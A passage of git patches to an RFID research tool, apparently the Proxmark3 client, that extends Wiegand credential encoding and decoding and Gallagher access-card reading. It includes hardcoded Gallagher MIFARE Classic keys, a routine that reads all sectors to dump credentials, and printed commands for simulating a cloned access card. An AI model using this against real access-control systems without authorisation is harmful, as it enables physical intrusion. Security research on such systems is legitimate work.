a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -630,6 +630,10 @@ int FpgaGetCurrent(void) { return downloaded_bitstream; } +void FpgaResetBitstream(void) { + downloaded_bitstream = FPGA_BITSTREAM_UNKNOWN; +} + // Turns off the antenna, // log message // if HF, Disable SSC DMA diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index 0786e608c..05fed4b1a 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -172,6 +172,7 @@ void SetupSpi(int mode); bool FpgaSetupSscDma(uint8_t *buf, uint16_t len); void Fpga_print_status(void); int FpgaGetCurrent(void); +void FpgaResetBitstream(void); void SetAdcMuxFor(uint32_t whichGpio); // extern and generel turn off the antenna method From 08cd96c5a905e9df658a96d2fb8a8da557bf3269 Mon Sep 17 00:00:00 2001 From: CinderSocket Date: Tue, 10 Mar 2026 12:25:31 -0700 Subject: [PATCH 081/162] Improve Wiegand PACS encode/decode and verbose output --- CHANGELOG.md | 1 + client/src/cmdwiegand.c | 195 +++++++++++++++++++++++++++-------- client/src/wiegand_formats.c | 53 +++++++--- tools/pm3_tests.sh | 16 +++ 4 files changed, 210 insertions(+), 55 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index edae94449..7c427b4d9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `wiegand encode` / `wiegand decode` - added support for encoding and decoding the new 96-bit ASN.1 encoded format, `--bin` encoding, verbose PACS encoding output, and explicit rejection of raw/binary decodes above 96 bits (@cindersocket) - Added `hf felica discnodes` command (@kormax) - Added `hf mfp dump` command (@apply-science) - Added `hf felica seacinfo` command (@kormax) diff --git a/client/src/cmdwiegand.c b/client/src/cmdwiegand.c index 125735bf1..191a31d38 100644 --- a/client/src/cmdwiegand.c +++ b/client/src/cmdwiegand.c @@ -27,6 +27,7 @@ #include "protocols.h" #include "parity.h" // oddparity #include "cmdhflist.h" // annotations +#include "commonutil.h" // ARRAYLEN #include "wiegand_formats.h" #include "wiegand_formatutils.h" #include "util.h" @@ -34,45 +35,104 @@ static int CmdHelp(const char *Cmd); #define PACS_EXTRA_LONG_FORMAT 18 // 144 bits -#define PACS_LONG_FORMAT 12 // 96 bits +#define PACS_LONG_FORMAT 13 // 96 bits + 1 byte pad #define PACS_FORMAT 6 // 44 bits -static int wiegand_new_pacs(uint8_t *padded_pacs, uint8_t plen) { +#define PACS_MAX_WIEGAND_BITS 96 +#define WIEGAND_MAX_ENCODED_BITS (PACS_MAX_WIEGAND_BITS + 8) - uint8_t d[PACS_EXTRA_LONG_FORMAT] = {0}; - memcpy(d, padded_pacs, plen); - - uint8_t pad = d[0]; - - char *binstr = (char *)calloc((PACS_EXTRA_LONG_FORMAT * 8) + 1, sizeof(uint8_t)); - if (binstr == NULL) { - PrintAndLogEx(WARNING, "Failed to allocate memory"); - return PM3_EMALLOC; +static void wiegand_packed_to_binstr(const wiegand_message_t *packed, char *binstr) { + for (uint8_t i = 0; i < packed->Length; i++) { + binstr[i] = get_bit_by_position((wiegand_message_t *)packed, i) ? '1' : '0'; } + binstr[packed->Length] = '\0'; +} - uint8_t n = plen - 1; +static int wiegand_print_new_pacs_verbose(const wiegand_message_t *packed, const uint8_t *pacs, size_t pacs_len) { + char binstr[PACS_MAX_WIEGAND_BITS + 1] = {0}; + char rawbin[WIEGAND_MAX_ENCODED_BITS + 1] = {0}; + uint8_t raw[(WIEGAND_MAX_ENCODED_BITS + 7) / 8] = {0}; + size_t raw_len = 0; - bytes_2_binstr(binstr, d + 1, n); + wiegand_packed_to_binstr(packed, binstr); + rawbin[0] = '1'; + memcpy(rawbin + 1, binstr, packed->Length); + binstr_2_bytes(raw, &raw_len, rawbin); + bytes_2_binstr(rawbin, raw, raw_len); - binstr[strlen(binstr) - pad] = '\0'; + PrintAndLogEx(INFO, "----------------------- " _CYAN_("PACS Encoding") " ------------------------"); + PrintAndLogEx(SUCCESS, "New PACS......... " _GREEN_("0x %s"), sprint_hex_inrow(pacs, pacs_len)); + PrintAndLogEx(INFO, "With Sentinel.... " _GREEN_("0b %s") " (%zu-bit)", rawbin, strlen(rawbin)); + PrintAndLogEx(SUCCESS, "Wiegand --raw.... " _YELLOW_("0x %s"), sprint_hex_inrow(raw, raw_len)); + PrintAndLogEx(INFO, "Without Sentinel. " _GREEN_("0b %s") " (%zu-bit)", binstr, strlen(binstr)); + return PM3_SUCCESS; +} - size_t tlen = 0; - uint8_t tmp[16] = {0}; - binstr_2_bytes(tmp, &tlen, binstr); - PrintAndLogEx(SUCCESS, "Wiegand raw.... " _YELLOW_("%s"), sprint_hex_inrow(tmp, tlen)); +static int wiegand_encode_new_pacs(const wiegand_message_t *packed, bool verbose) { - uint32_t top = 0, mid = 0, bot = 0; - if (binstring_to_u96(&top, &mid, &bot, binstr) != strlen(binstr)) { - PrintAndLogEx(ERR, "Binary string contains none <0|1> chars"); - free(binstr); + if (packed->Length == 0) { + PrintAndLogEx(ERR, "Empty Wiegand input"); return PM3_EINVARG; } - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "------------------------- " _CYAN_("SIO - Wiegand") " ---------------------------"); - decode_wiegand(top, mid, bot, strlen(binstr)); - free(binstr); + if (packed->Length > PACS_MAX_WIEGAND_BITS) { + PrintAndLogEx(ERR, "New PACS encoding supports up to %u Wiegand bits", PACS_MAX_WIEGAND_BITS); + return PM3_EINVARG; + } + + uint8_t padded_bits = (uint8_t)(((packed->Length + 7) / 8) * 8); + uint8_t pad = padded_bits - packed->Length; + + char binstr[PACS_MAX_WIEGAND_BITS + 1] = {0}; + wiegand_packed_to_binstr(packed, binstr); + memset(binstr + packed->Length, '0', pad); + binstr[padded_bits] = '\0'; + + size_t pacs_len = 0; + uint8_t pacs[PACS_LONG_FORMAT] = {0}; + binstr_2_bytes(pacs + 1, &pacs_len, binstr); + pacs[0] = pad; + + PrintAndLogEx(SUCCESS, "New PACS......... " _GREEN_("0x %s"), sprint_hex_inrow(pacs, pacs_len + 1)); + if (verbose) { + PrintAndLogEx(NORMAL, ""); + return wiegand_print_new_pacs_verbose(packed, pacs, pacs_len + 1); + } return PM3_SUCCESS; } + +static int wiegand_new_pacs(const uint8_t *padded_pacs, uint8_t plen) { + return HIDDumpPACSBits(padded_pacs, plen, false); +} + +static int wiegand_print_raw_from_bin(const uint8_t *binarr, int blen) { + uint8_t out[(WIEGAND_MAX_ENCODED_BITS + 7) / 8] = {0}; + char binstr[WIEGAND_MAX_ENCODED_BITS + 1] = {0}; + + binstr[0] = '1'; + for (int i = 0; i < blen; i++) { + binstr[i + 1] = binarr[i] ? '1' : '0'; + } + + size_t out_len = 0; + binstr_2_bytes(out, &out_len, binstr); + PrintAndLogEx(SUCCESS, "Wiegand raw.... " _YELLOW_("%s"), sprint_hex_inrow(out, out_len)); + return PM3_SUCCESS; +} + +static int wiegand_encode_new_pacs_from_bin(const uint8_t *binarr, int blen, bool verbose) { + wiegand_message_t packed; + memset(&packed, 0, sizeof(packed)); + packed.Length = blen; + + for (int i = 0; i < blen; i++) { + if (set_bit_by_position(&packed, binarr[i], i) == false) { + PrintAndLogEx(ERR, "Binary string must be less than or equal to %u bits", PACS_MAX_WIEGAND_BITS); + return PM3_EINVARG; + } + } + + return wiegand_encode_new_pacs(&packed, verbose); +} int CmdWiegandList(const char *Cmd) { CLIParserContext *ctx; @@ -98,17 +158,22 @@ int CmdWiegandEncode(const char *Cmd) { CLIParserInit(&ctx, "wiegand encode", "Encode wiegand formatted number to raw hex", "wiegand encode --fc 101 --cn 1337 -> show all formats\n" - "wiegand encode -w H10301 --fc 101 --cn 1337 -> H10301 format " + "wiegand encode -w H10301 --fc 101 --cn 1337 -> H10301 format\n" + "wiegand encode --bin 1 -> raw wiegand hex with sentinel\n" + "wiegand encode -w H10301 --fc 123 --cn 4567 --new -> new ASN.1 encoded format" ); void *argtable[] = { arg_param_begin, + arg_str0("b", "bin", "", "binary string to be encoded"), arg_u64_0(NULL, "fc", "", "facility number"), - arg_u64_1(NULL, "cn", "", "card number"), + arg_u64_0(NULL, "cn", "", "card number"), arg_u64_0(NULL, "issue", "", "issue level"), arg_u64_0(NULL, "oem", "", "OEM code"), arg_str0("w", "wiegand", "", "see `wiegand list` for available formats"), + arg_lit0("n", "new", "encode to new ASN.1 encoded format"), arg_lit0(NULL, "pre", "add HID ProxII preamble to wiegand output"), + arg_lit0("v", "verbose", "verbose output"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -116,17 +181,44 @@ int CmdWiegandEncode(const char *Cmd) { wiegand_card_t data; memset(&data, 0, sizeof(wiegand_card_t)); - data.FacilityCode = arg_get_u32_def(ctx, 1, 0); - data.CardNumber = arg_get_u64_def(ctx, 2, 0); - data.IssueLevel = arg_get_u32_def(ctx, 3, 0); - data.OEM = arg_get_u32_def(ctx, 4, 0); + uint8_t binarr[PACS_MAX_WIEGAND_BITS] = {0}; + int blen = 0; + int res = CLIParamBinToBuf(arg_get_str(ctx, 1), binarr, ARRAYLEN(binarr), &blen); + + data.FacilityCode = arg_get_u32_def(ctx, 2, 0); + data.CardNumber = arg_get_u64_def(ctx, 3, 0); + data.IssueLevel = arg_get_u32_def(ctx, 4, 0); + data.OEM = arg_get_u32_def(ctx, 5, 0); int len = 0; char format[16] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 5), (uint8_t *)format, sizeof(format), &len); - bool preamble = arg_get_lit(ctx, 6); + CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)format, sizeof(format), &len); + + bool new_pacs = arg_get_lit(ctx, 7); + bool preamble = arg_get_lit(ctx, 8); + bool verbose = arg_get_lit(ctx, 9); CLIParserFree(ctx); + if (res) { + PrintAndLogEx(FAILED, "Error parsing binary string"); + return PM3_EINVARG; + } + + if (new_pacs && preamble) { + PrintAndLogEx(ERR, "`--new` and `--pre` can't be combined"); + return PM3_EINVARG; + } + + if (blen && (len || data.FacilityCode || data.CardNumber || data.IssueLevel || data.OEM || preamble)) { + PrintAndLogEx(ERR, "`--bin` can't be combined with format, field, or preamble options"); + return PM3_EINVARG; + } + + if (blen == 0 && len == 0 && data.CardNumber == 0 && data.FacilityCode == 0 && data.IssueLevel == 0 && data.OEM == 0) { + PrintAndLogEx(ERR, "Must provide either card data, a specific format, or `--bin`"); + return PM3_EINVARG; + } + int idx = -1; if (len) { idx = HIDFindCardFormat(format); @@ -136,13 +228,26 @@ int CmdWiegandEncode(const char *Cmd) { } } - if (idx != -1) { + if (new_pacs && idx == -1 && blen == 0) { + PrintAndLogEx(ERR, "`--new` requires either `--bin` or a specific wiegand format"); + return PM3_EINVARG; + } + + if (blen) { + if (new_pacs) { + return wiegand_encode_new_pacs_from_bin(binarr, blen, verbose); + } + return wiegand_print_raw_from_bin(binarr, blen); + } else if (idx != -1) { wiegand_message_t packed; memset(&packed, 0, sizeof(wiegand_message_t)); if (HIDPack(idx, &data, &packed, preamble) == false) { PrintAndLogEx(WARNING, "The card data could not be encoded in the selected format."); return PM3_ESOFT; } + if (new_pacs) { + return wiegand_encode_new_pacs(&packed, verbose); + } print_wiegand_code(&packed); } else { // try all formats and print only the ones that work. @@ -157,14 +262,14 @@ int CmdWiegandDecode(const char *Cmd) { CLIParserInit(&ctx, "wiegand decode", "Decode raw hex or binary to wiegand format", "wiegand decode --raw 2006F623AE\n" - "wiegand decode --new 06BD88EB80 -> 4..8 bytes, new padded format " + "wiegand decode --new 06BD88EB80 -> 4..13 bytes, new ASN.1 encoded format " ); void *argtable[] = { arg_param_begin, arg_str0("r", "raw", "", "raw hex to be decoded"), arg_str0("b", "bin", "", "binary string to be decoded"), - arg_str0("n", "new", "", "new padded pacs as raw hex to be decoded"), + arg_str0("n", "new", "", "new ASN.1 encoded data as raw hex to be decoded"), arg_lit0("f", "force", "skip preabmle checking, brute force all possible lengths for raw hex input"), arg_param_end }; @@ -174,11 +279,11 @@ int CmdWiegandDecode(const char *Cmd) { CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)hex, sizeof(hex), &hlen); int blen = 0; - uint8_t binarr[100] = {0x00}; + uint8_t binarr[WIEGAND_MAX_ENCODED_BITS] = {0x00}; int res = CLIParamBinToBuf(arg_get_str(ctx, 2), binarr, sizeof(binarr), &blen); int plen = 0; - uint8_t phex[8] = {0}; + uint8_t phex[PACS_LONG_FORMAT] = {0}; res = CLIParamHexToBuf(arg_get_str(ctx, 3), phex, sizeof(phex), &plen); bool no_preamble = arg_get_lit(ctx, 4); @@ -193,6 +298,10 @@ int CmdWiegandDecode(const char *Cmd) { uint32_t top = 0, mid = 0, bot = 0; if (hlen) { + if ((hlen * 4) > PACS_MAX_WIEGAND_BITS) { + PrintAndLogEx(ERR, "Raw hex decode supports up to %u Wiegand bits", PACS_MAX_WIEGAND_BITS); + return PM3_EINVARG; + } res = hexstring_to_u96(&top, &mid, &bot, hex); if (res != hlen) { PrintAndLogEx(ERR, "Hex string contains none hex chars"); @@ -200,11 +309,15 @@ int CmdWiegandDecode(const char *Cmd) { } if (no_preamble) { - // pass hex input length as is and brute force all possible lengths + // Pass the input hex length through so decode_wiegand() brute-forces + // the possible bit lengths instead of assuming a preamble-encoded value. blen = -hlen; } - } else if (blen) { + if (blen > PACS_MAX_WIEGAND_BITS) { + PrintAndLogEx(ERR, "Binary decode supports up to %u Wiegand bits", PACS_MAX_WIEGAND_BITS); + return PM3_EINVARG; + } int n = binarray_to_u96(&top, &mid, &bot, binarr, blen); if (n != blen) { PrintAndLogEx(ERR, "Binary string contains none <0|1> chars"); diff --git a/client/src/wiegand_formats.c b/client/src/wiegand_formats.c index 7cecb4825..88f52aaa1 100644 --- a/client/src/wiegand_formats.c +++ b/client/src/wiegand_formats.c @@ -1796,6 +1796,14 @@ bool decode_wiegand(uint32_t top, uint32_t mid, uint32_t bot, int n) { } int HIDDumpPACSBits(const uint8_t *const data, const uint8_t length, bool verbose) { + // PACS is encoded as a 1-byte pad count followed by at least 1 byte of payload. + // Reject malformed inputs here so trimming the pad bits below cannot index before + // the start of the binary buffer. + if (length < 2 || data[0] > 0x07) { + PrintAndLogEx(ERR, "Invalid PACS value"); + return PM3_EINVARG; + } + uint8_t n = length - 1; uint8_t pad = data[0]; char *binstr = (char *)calloc((length * 8) + 1, sizeof(uint8_t)); @@ -1815,13 +1823,19 @@ int HIDDumpPACSBits(const uint8_t *const data, const uint8_t length, bool verbos PrintAndLogEx(DEBUG, "bin.............. " _GREEN_("%s") " ( %zu )", binstr, strlen(binstr)); size_t hexlen = 0; - uint8_t hex[16] = {0}; + uint8_t *hex = calloc(n ? n : 1, sizeof(uint8_t)); + if (hex == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(binstr); + return PM3_EMALLOC; + } binstr_2_bytes(hex, &hexlen, binstr); PrintAndLogEx(SUCCESS, "hex.............. " _GREEN_("%s"), sprint_hex_inrow(hex, hexlen)); uint32_t top = 0, mid = 0, bot = 0; if (binstring_to_u96(&top, &mid, &bot, binstr) != strlen(binstr)) { PrintAndLogEx(ERR, "Binary string contains none <0|1> chars"); + free(hex); free(binstr); return PM3_EINVARG; } @@ -1850,25 +1864,36 @@ int HIDDumpPACSBits(const uint8_t *const data, const uint8_t length, bool verbos // MIFARE DESFire // MIFARE Classic - char mfcbin[28] = {0}; - mfcbin[0] = '1'; - memcpy(mfcbin + 1, binstr, strlen(binstr)); - binstr_2_bytes(hex, &hexlen, mfcbin); + size_t binstrlen = strlen(binstr); + // Match hf mf encodehid: prepend the sentinel bit, pack to bytes, then right-align + // the result in the 15-byte payload area after the leading 0x02 marker in block 5. + // Fixed-size local buffers are enough for the current 96-bit Wiegand limit: + // 96 data bits + 1 sentinel + NUL = 98 chars, packed into at most 13 bytes. + if (binstrlen <= 96) { + char mfcbin[98] = {0}; + uint8_t mfcpayload[15] = {0}; + size_t mfchexlen = 0; - PrintAndLogEx(INFO, "Downgrade to " _YELLOW_("MIFARE Classic") " (Pm3 simulation)"); - PrintAndLogEx(SUCCESS, " hf mf eclr;"); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 0 -d 049DBA42A23E80884400C82000000000;"); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 1 -d 1B014D48000000000000000000000000;"); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 3 -d A0A1A2A3A4A5787788C189ECA97F8C2A;"); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 5 -d 020000000000000000000000%s;", sprint_hex_inrow(hex, hexlen)); - PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 7 -d 484944204953787788AA204752454154;"); - PrintAndLogEx(SUCCESS, " hf mf sim --1k -i;"); - PrintAndLogEx(NORMAL, ""); + mfcbin[0] = '1'; + memcpy(mfcbin + 1, binstr, binstrlen); + binstr_2_bytes(mfcpayload + (sizeof(mfcpayload) - ((binstrlen + 1 + 7) / 8)), &mfchexlen, mfcbin); + + PrintAndLogEx(INFO, "Downgrade to " _YELLOW_("MIFARE Classic") " (Pm3 simulation)"); + PrintAndLogEx(SUCCESS, " hf mf eclr;"); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 0 -d 049DBA42A23E80884400C82000000000;"); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 1 -d 1B014D48000000000000000000000000;"); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 3 -d A0A1A2A3A4A5787788C189ECA97F8C2A;"); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 5 -d 02%s;", sprint_hex_inrow(mfcpayload, sizeof(mfcpayload))); + PrintAndLogEx(SUCCESS, " hf mf esetblk --blk 7 -d 484944204953787788AA204752454154;"); + PrintAndLogEx(SUCCESS, " hf mf sim --1k -i;"); + PrintAndLogEx(NORMAL, ""); + } PrintAndLogEx(INFO, "Downgrade to " _YELLOW_("MIFARE Classic 1K")); PrintAndLogEx(SUCCESS, " hf mf encodehid --bin %s", binstr); PrintAndLogEx(NORMAL, ""); } + free(hex); free(binstr); return PM3_SUCCESS; } diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index 2f27a6389..e94d5096e 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -474,8 +474,24 @@ while true; do if ! CheckExecute "nfc decode test - signature" "$CLIENTBIN -c 'nfc decode -d 03FF010194113870696C65742E65653A656B616172743A3266195F26063132303832325904202020205F28033233335F2701316E1B5A13333038363439303039303030323636343030355304EBF2CE704103000000AC536967010200803A2448FCA7D354A654A81BD021150D1A152D1DF4D7A55D2B771F12F094EAB6E5E10F2617A2F8DAD4FD38AFF8EA39B71C19BD42618CDA86EE7E144636C8E0E7CFC4096E19C3680E09C78A0CDBC05DA2D698E551D5D709717655E56FE3676880B897D2C70DF5F06ECE07C71435255144F8EE41AF110E7B180DA0E6C22FB8FDEF61800025687474703A2F2F70696C65742E65652F6372742F33303836343930302D303030312E637274FE'" "30864900-0001.crt"; then break; fi if ! CheckExecute "nfc decode test - openprinter tag" "$CLIENTBIN -c 'nfc decode -d 03FF012F91013A55046E756D616B6572732E636F6D2F70726F64756374732F6162732D66696C616D656E743F76617269616E743D3436393434323937333836323932521CD26170706C69636174696F6E2F766E642E6F70656E7072696E74746167A10218AFBF041B000007D0FCAB45F9080009020A70414253204C656D6F6E2059656C6C6F770B684E756D616B6572730E1A69094200101903E81119041A1218F01343F9A800181DF93C29182218F01823190104182418AA1825185A18261864FF00'" "application/vnd.openprinttag"; then break; fi + if ! CheckExecute "wiegand encode test - new" "$CLIENTBIN -c 'wiegand encode -w H10301 --fc 123 --cn 4567 --new'" "New PACS\\.{9} 0x 06BD88EB80"; then break; fi + if ! CheckExecute "wiegand encode test - bin" "$CLIENTBIN -c 'wiegand encode --bin 1'" "Wiegand raw\\.{4} 03"; then break; fi + if ! CheckExecute "wiegand encode test - new bin" "$CLIENTBIN -c 'wiegand encode --bin 1 --new'" "New PACS\\.{9} 0x 0780"; then break; fi + if ! CheckExecute "wiegand encode test - new bin verbose hdr" "$CLIENTBIN -c 'wiegand encode --bin 1 --new --verbose'" "New PACS"; then break; fi + if ! CheckExecute "wiegand encode test - new bin verbose pad" "$CLIENTBIN -c 'wiegand encode --bin 1 --new --verbose'" "With Sentinel\\.{4} 0b 00000011 \\(8-bit\\)"; then break; fi + if ! CheckExecute "wiegand encode test - new bin verbose raw" "$CLIENTBIN -c 'wiegand encode --bin 1 --new --verbose'" "Wiegand --raw\\.{4} 0x 03"; then break; fi + if ! CheckExecute "wiegand encode test - new bin verbose bin" "$CLIENTBIN -c 'wiegand encode --bin 1 --new --verbose'" "Without Sentinel\\. 0b 1 \\(1-bit\\)"; then break; fi + if ! CheckExecute "wiegand encode test - bin 96-bit" "PAT=\$(printf '01%.0s' {1..48}); $CLIENTBIN -c \"wiegand encode --bin \$PAT\"" "Wiegand raw\\.{4} 01555555555555555555555555"; then break; fi + if ! CheckExecute "wiegand encode test - new bin 96-bit" "PAT=\$(printf '01%.0s' {1..48}); $CLIENTBIN -c \"wiegand encode --bin \$PAT --new\"" "New PACS\\.{9} 0x 00555555555555555555555555"; then break; fi + if ! CheckExecute "wiegand encode test - new bin 96-bit verbose pad" "PAT=\$(printf '01%.0s' {1..48}); $CLIENTBIN -c \"wiegand encode --bin \$PAT --new --verbose\"" "With Sentinel\\.{4} 0b 00000001010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101 \\(104-bit\\)"; then break; fi + if ! CheckExecute "wiegand encode test - new bin 96-bit verbose raw" "PAT=\$(printf '01%.0s' {1..48}); $CLIENTBIN -c \"wiegand encode --bin \$PAT --new --verbose\"" "Wiegand --raw\\.{4} 0x 01555555555555555555555555"; then break; fi + if ! CheckExecute "wiegand encode test - new 48-bit" "$CLIENTBIN -c 'wiegand encode -w C1k48s --fc 42069 --cn 42069 --new'" "New PACS\\.{9} 0x 0000A4550148AB"; then break; fi + if ! CheckExecute "wiegand decode test - raw over 96-bit" "$CLIENTBIN -c 'wiegand decode --raw 01555555555555555555555555' 2>&1" "Raw hex decode supports up to 96 Wiegand bits"; then break; fi if ! CheckExecute "wiegand decode test - raw" "$CLIENTBIN -c 'wiegand decode --raw 2006F623AE'" "FC: 123 CN: 4567 parity \( ok \)"; then break; fi + if ! CheckExecute "wiegand decode test - bin over 96-bit" "PAT=\$(printf '01%.0s' {1..49}); $CLIENTBIN -c \"wiegand decode --bin \$PAT\" 2>&1" "Binary decode supports up to 96 Wiegand bits"; then break; fi if ! CheckExecute "wiegand decode test - new" "$CLIENTBIN -c 'wiegand decode --new 06BD88EB80'" "FC: 123 CN: 4567 parity \( ok \)"; then break; fi + if ! CheckExecute "wiegand decode test - new 96-bit" "$CLIENTBIN -c 'wiegand decode --new 00555555555555555555555555'" "hex\\.{14} 555555555555555555555555"; then break; fi + if ! CheckExecute "wiegand decode test - new 48-bit" "$CLIENTBIN -c 'wiegand decode --new 0000A4550148AB'" "C1k48s.*FC: 42069 CN: 42069 parity \( ok \)"; then break; fi if ! CheckExecute "wiegand Verkada40 encode test 1" "$CLIENTBIN -c 'wiegand encode -w Verkada40 --fc 50 --cn 1001'" "86400007D3"; then break; fi if ! CheckExecute "wiegand Verkada40 decode test 1" "$CLIENTBIN -c 'wiegand decode --raw 86400007D3'" "Verkada40.*FC: 50 CN: 1001 parity \( ok \)"; then break; fi if ! CheckExecute "wiegand Verkada40 encode test 2" "$CLIENTBIN -c 'wiegand encode -w Verkada40 --fc 50 --cn 1004'" "86400007D9"; then break; fi From 7d7903deed1d4e5e1f6934c7163d3ac490bcc731 Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Wed, 11 Mar 2026 09:38:13 +1100 Subject: [PATCH 082/162] Feedback from Iceman. Now respecting quiet flag for continuous reads. Return Correct PM3 _* return codes. --- client/src/cmdhfgallagher.c | 36 ++++++++++++++----------------- client/src/mifare/gallaghercore.c | 32 +++++++++++++++++---------- client/src/mifare/gallaghercore.h | 2 +- client/src/mifare/gallaghertest.c | 6 +++--- 4 files changed, 41 insertions(+), 35 deletions(-) diff --git a/client/src/cmdhfgallagher.c b/client/src/cmdhfgallagher.c index 4a7c23f29..055a310f6 100644 --- a/client/src/cmdhfgallagher.c +++ b/client/src/cmdhfgallagher.c @@ -39,9 +39,9 @@ static int CmdHelp(const char *cmd); // Application ID for the Gallagher Card Application Directory -static const uint32_t DESFIRE_CAD_AID = 0x2F81F4; -static const uint32_t CLASSIC_CAD_AID = 0x4811; -static const uint16_t CLASSIC_CRED_AID = 0x4812; +#define DESFIRE_CAD_AID 0x2F81F4 +#define CLASSIC_CAD_AID 0x4811 +#define CLASSIC_CRED_AID 0x4812 // Default MIFARE site key (16 bytes) static const uint8_t DEFAULT_SITE_KEY[] = { @@ -887,14 +887,14 @@ static int hfgal_read_desfire_card(uint32_t aid, uint8_t *site_key, bool verbose // Gallagher MIFARE Classic fixed keys -static const uint8_t GALLAGHER_MFC_KEY_A[MIFARE_KEY_SIZE] = {0x16, 0x0A, 0x91, 0xD2, 0x9A, 0x9C}; -static const uint8_t GALLAGHER_MFC_KEY_B[MIFARE_KEY_SIZE] = {0xB7, 0xBF, 0x0C, 0x13, 0x06, 0x6E}; +static const uint8_t GALLAGHER_MFC_KEY_A[] = {0x16, 0x0A, 0x91, 0xD2, 0x9A, 0x9C}; +static const uint8_t GALLAGHER_MFC_KEY_B[] = {0xB7, 0xBF, 0x0C, 0x13, 0x06, 0x6E}; // Gallagher MIFARE Classic access bits: 0x787788 -static const uint8_t GALLAGHER_ACCESS_BITS[3] = {0x78, 0x77, 0x88}; +static const uint8_t GALLAGHER_ACCESS_BITS[] = {0x78, 0x77, 0x88}; // "www.cardax.com " string for block 1 -static const uint8_t CARDAX_STRING[MFBLOCK_SIZE] = { +static const uint8_t CARDAX_STRING[] = { 0x77, 0x77, 0x77, 0x2E, 0x63, 0x61, 0x72, 0x64, 0x61, 0x78, 0x2E, 0x63, 0x6F, 0x6D, 0x20, 0x20 }; @@ -1180,8 +1180,10 @@ static int hfgal_read_classic_card(uint8_t *site_key, bool verbose, bool quiet) SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { - PrintAndLogEx(DEBUG, "iso14443a card select timeout"); - return 0; + if (!quiet) { + PrintAndLogEx(DEBUG, "iso14443a card select timeout"); + } + return PM3_ETIMEOUT; } iso14a_card_select_t card; @@ -1196,23 +1198,17 @@ static int hfgal_read_classic_card(uint8_t *site_key, bool verbose, bool quiet) uint64_t select_status = resp.oldarg[0]; if (select_status == 0) { - PrintAndLogEx(DEBUG, "iso14443a card select failed"); + if (!quiet) { + PrintAndLogEx(DEBUG, "iso14443a card select failed"); + } return select_status; } - // card.uid, card.uidlen - - // Read MAD - - // Read CAD - - // Check credential count - - // Read credentials + // Brute Force reading all blocks and printing credentials, for (uint8_t i = 0; i < MIFARE_1K_MAXSECTOR; i++) { hfgal_read_site_specific_sector(i, creds, card.uid, site_key, true); } - return PM3_ENOTIMPL; + return PM3_SUCCESS; } static int CmdGallagherReader(const char *cmd) { diff --git a/client/src/mifare/gallaghercore.c b/client/src/mifare/gallaghercore.c index f033d02a7..7f97525be 100644 --- a/client/src/mifare/gallaghercore.c +++ b/client/src/mifare/gallaghercore.c @@ -74,7 +74,7 @@ static void descramble(uint8_t *arr, uint8_t len) { int gallagher_diversify_classic_key(uint8_t *site_key, uint8_t *csn, size_t csn_len, uint8_t *key_output) { memcpy(key_output, site_key, 16); for (int i = 0; i < csn_len; i++) { - key_output[i] = site_key[i] ^ csn[i]; + key_output[i] ^= csn[i]; } return PM3_SUCCESS; } @@ -90,7 +90,7 @@ int gallagher_construct_credential(GallagherCredentials_t *creds, uint8_t region return PM3_SUCCESS; } -int gallagher_read_cad(uint8_t *cad, uint8_t region, uint16_t facility) { +int gallagher_parse_cad(uint8_t *cad, uint8_t region, uint16_t facility) { // CAD entries are 3.5 bytes each (28 bits: 4-bit RC, 16-bit FC, 8-bit sector). // Packed in pairs of 7 bytes starting at byte 4, up to 6 pairs (12 entries). for (int pair = 0; pair < 6; pair++) { @@ -155,6 +155,12 @@ void gallagher_encode_creds(uint8_t *eight_bytes, GallagherCredentials_t *creds) } int gallagher_encode_mes(uint8_t *sixteen_bytes, GallagherCredentials_t *creds) { + + if (creds->csn_len > 4) { + PrintAndLogEx(ERR, "Credential could not be encoded into a Mifare Enhanced Encryption block. only 4 byte UUID's are supported"); + return PM3_ENOTIMPL; + } + // unknown parameters from the research these might be for UUID's longer than 4 bytes? uint8_t UB = 0x00; uint8_t UC = 0x00; @@ -167,11 +173,6 @@ int gallagher_encode_mes(uint8_t *sixteen_bytes, GallagherCredentials_t *creds) uint8_t mes[16]; uint8_t diversified_site_key[16]; - if (creds->csn_len > 4) { - PrintAndLogEx(ERR, "Credential could not be encoded into a Mifare Enhanced Encryption block. only 4 byte UUID's are supported"); - return PM3_ENOTIMPL; - } - mes[0] = 0x01; mes[1] = (creds->card_number & 0xFF0000) >> 16; mes[2] = (creds->card_number & 0x00FF00) >> 8; @@ -195,8 +196,13 @@ int gallagher_encode_mes(uint8_t *sixteen_bytes, GallagherCredentials_t *creds) mbedtls_aes_context actx; mbedtls_aes_init(&actx); - if (mbedtls_aes_setkey_enc(&actx, diversified_site_key, 128) != 0) return PM3_ENOKEY; - if (mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_ENCRYPT, mes, sixteen_bytes) != 0) return PM3_ENOKEY;; 